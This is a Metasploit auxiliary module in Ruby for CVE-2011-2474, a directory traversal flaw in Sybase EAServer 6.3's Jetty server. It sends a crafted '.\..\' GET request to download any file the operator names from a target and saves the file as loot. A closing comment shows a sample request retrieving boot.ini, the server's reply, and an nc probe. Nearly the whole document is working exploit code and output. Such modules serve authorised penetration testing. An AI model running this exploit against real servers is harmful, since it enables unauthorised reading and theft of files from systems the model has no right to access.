##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Auxiliary::Scanner
	include Msf::Auxiliary::Report
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Sybase Easerver 6.3 Directory Traversal',
			'Description'    => %q{
					This module exploits a directory traversal vulnerability found in Sybase
				EAserver's Jetty webserver on port 8000. Code execution seems unlikely with
				EAserver's default configuration unless the web server allows WRITE permission.
			},
			'References'     =>
				[
					[ 'CVE', '2011-2474' ],
					[ 'OSVDB', '72498' ],
					[ 'URL', 'http://www.sybase.com/detail?id=1093216' ],
					[ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=912' ],
				],
			'Author'         =>
				[
					'Sow Ching Shiong', #Initial discovery (via iDefense)
					'sinn3r'
				],
			'License'        => MSF_LICENSE,
			'DisclosureDate' => "May 25 2011"
		))

		register_options(
			[
				Opt::RPORT(8000),
				OptString.new("FILEPATH", [false, 'Specify a parameter for the action'])
			], self.class)

		deregister_options('RHOST')
	end

	def run_host(ip)
		# No point to continue if no filename is specified
		if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
			print_error("Please supply the name of the file you want to download")
			return
		end

		print_status("Attempting to download: #{datastore['FILEPATH']}")

		# Create request
		traversal = ".\\..\\.\\..\\.\\..\\.\\.."
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => "/#{traversal}\\#{datastore['FILEPATH']}"
		}, 25)

		print_status("Server returns HTTP code: #{res.code.to_s}")

		# Show data if needed
		if res and res.code == 200
			vprint_line(res.to_s)
			fname = File.basename(datastore['FILEPATH'])

			path = store_loot(
				'easerver.http',
				'application/octet-stream',
				ip,
				res.body,
				fname
			)
			print_status("File saved in: #{path}")
		else
			print_error("Nothing was downloaded")
		end
	end
end

=begin
GET /.\..\.\..\.\..\.\..\boot.ini HTTP/1.0
User-Agent: DotDotPwn v2.1  <-- yup, awesome tool
Connection: close
Accept: */*
Host: 10.0.1.55:8000

HTTP/1.1 200 OK
Last-Modified: Sat, 24 Sep 2011 07:12:39 GMT
Content-Length: 211
Connection: close
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptIn

$ nc 10.0.1.55 8000
OPTIONS / HTTP/1.0

HTTP/1.1 405 Method Not Allowed
Allow: GET
Content-Length: 0
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
=end
